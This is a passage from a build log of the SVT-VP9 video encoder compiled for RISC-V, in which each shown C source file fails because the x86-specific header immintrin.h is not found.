/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_quantize.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_quantize.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_quantize.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_quantize.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_quantize.c:12:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[9/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_loopfilter.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_loopfilter.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_loopfilter.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_loopfilter.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_loopfilter.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[10/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/loopfilter.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/loopfilter.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/loopfilter.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/loopfilter.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/loopfilter.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/loopfilter.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/loopfilter.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[11/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/subtract.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/subtract.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/subtract.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/subtract.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/subtract.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/subtract.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/subtract.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[12/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/inv_txfm.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/inv_txfm.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/inv_txfm.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/inv_txfm.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/inv_txfm.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/inv_txfm.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/inv_txfm.c:12:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[13/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropy.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropy.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropy.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropy.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropy.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_entropy.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_entropy.c:16:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[14/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_pred_common.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_pred_common.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_pred_common.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_pred_common.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_pred_common.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_pred_common.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_pred_common.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_pred_common.c:15:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[15/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_blockd.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_blockd.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_blockd.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_blockd.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_blockd.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.c:14:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[16/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/psnr.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/psnr.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/psnr.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/psnr.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/psnr.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/psnr.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vpx_dsp_rtcd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/psnr.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[17/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rdopt.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rdopt.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rdopt.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rdopt.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_rdopt.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_rdopt.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_block.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_rdopt.c:18:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[18/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymv.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymv.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymv.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymv.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymv.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_entropymv.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_onyxc_int.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_entropymv.c:14:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[19/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_bitstream.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_bitstream.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_bitstream.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_bitstream.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_bitstream.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_bitstream.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_tokenize.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_bitstream.c:21:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[20/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_alloccommon.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_alloccommon.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_alloccommon.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_alloccommon.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_alloccommon.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_alloccommon.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_onyxc_int.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_alloccommon.c:16:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[21/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_ratectrl.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_ratectrl.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_ratectrl.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_ratectrl.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_ratectrl.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_ratectrl.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_loopfilter.h:17,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_onyxc_int.h:23,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_ratectrl.c:13:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[22/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymode.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymode.c.o 
/usr/bin/cc  -I/build/svt-vp9/src/build/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/Lib/VPX -I/build/svt-vp9/src/SVT-VP9/Source/API -I/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_AVX2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE2 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSE4_1 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/ASM_SSSE3 -I/build/svt-vp9/src/SVT-VP9/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymode.c.o -MF Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymode.c.o.d -o Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_entropymode.c.o -c /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_entropymode.c
In file included from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_blockd.h:32,
                 from /build/svt-vp9/src/SVT-VP9/Source/Lib/VPX/vp9_entropymode.c:19:
/build/svt-vp9/src/SVT-VP9/Source/Lib/Codec/EbDefinitions.h:402:10: fatal error: immintrin.h: No such file or directory
  402 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[23/158] Building C object Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_idct.c.o
FAILED: Source/Lib/VPX/CMakeFiles/libVPX.dir/vp9_idct.c.o 
